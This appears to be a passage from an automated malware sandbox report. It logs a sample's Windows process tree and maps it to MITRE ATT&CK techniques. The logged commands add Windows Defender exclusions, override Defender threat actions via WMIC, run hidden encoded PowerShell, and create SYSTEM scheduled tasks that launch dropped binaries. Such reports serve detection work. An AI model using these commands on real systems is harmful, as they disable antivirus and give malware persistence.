"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:7432

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:7364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:5332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:8564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:32
3⤵
PID:7088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:64
3⤵
PID:6112

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:32
3⤵
PID:7244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:64
3⤵
PID:4632

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gKPNfIFww" /SC once /ST 00:37:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:7276

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gKPNfIFww"
2⤵
PID:2584

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gKPNfIFww"
2⤵
PID:4520

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xsEpqqHAgqAwsAroz" /SC once /ST 02:22:08 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OtwJIAz.exe\" za /site_id 668658 /S" /V1 /F
2⤵
- Creates scheduled task(s)
PID:6120

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "xsEpqqHAgqAwsAroz"
2⤵
PID:296

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:9200

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:8452

C:\Users\Admin\AppData\Roaming\dijwfcr
C:\Users\Admin\AppData\Roaming\dijwfcr
1⤵
PID:7480

C:\Users\Admin\AppData\Roaming\rcjwfcr
C:\Users\Admin\AppData\Roaming\rcjwfcr
1⤵
PID:3200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:224

C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OtwJIAz.exe
C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OtwJIAz.exe za /site_id 668658 /S
1⤵
PID:2304

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:7436

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:8160

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:1236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:4752

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:9188

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bRciptYQhTCMvEFWGJ"
2⤵
PID:7004

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:4392

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:4160

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:8828

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:6120

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\STjmdXhOU\wWKOlM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ArGDBXWmyYtLacf" /V1 /F
2⤵
- Creates scheduled task(s)
PID:3356

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ArGDBXWmyYtLacf2" /F /xml "C:\Program Files (x86)\STjmdXhOU\mpFWpxh.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:7620

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ArGDBXWmyYtLacf"
2⤵
PID:7024

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ArGDBXWmyYtLacf"
2⤵
PID:7812

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "dqMFPCMVHmhnSY" /F /xml "C:\Program Files (x86)\gaSWcYIjjvwU2\MFeuNqU.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4296

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "sOuBCsGGBJoge2" /F /xml "C:\ProgramData\QPFeEjmgnBUOfRVB\LAOrJHL.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2260

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gdlTlvZfIMOZAvCeb2" /F /xml "C:\Program Files (x86)\YceypsUXabDXnCzNCPR\TFVlxQV.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:5452

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PcFGIyIlUJyYablHCHc2" /F /xml "C:\Program Files (x86)\NMbcPgNClKinC\WLuDYag.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:7224

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "nMmJzTJTMvgDqJXEl" /SC once /ST 02:00:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\EdxKYSYj\baIuWkz.dll\",#1 /site_id 668658" /V1 /F
2⤵
- Creates scheduled task(s)
PID:8452

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "nMmJzTJTMvgDqJXEl"
2⤵
PID:8388

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "spubPWImnJBz" /SC once /ST 00:16:54 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\TwIQlAyA\GLooHXn.exe\" 3L /S"
2⤵
- Creates scheduled task(s)
PID:6648

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "spubPWImnJBz"
2⤵
PID:6100

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\EdxKYSYj\baIuWkz.dll",#1 /site_id 668658
1⤵
PID:7768

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\EdxKYSYj\baIuWkz.dll",#1 /site_id 668658
2⤵
PID:7624

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "nMmJzTJTMvgDqJXEl"
3⤵
PID:4716

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\TwIQlAyA\GLooHXn.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\TwIQlAyA\GLooHXn.exe 3L /S
1⤵
PID:8156

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

File Permissions Modification

T1222

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery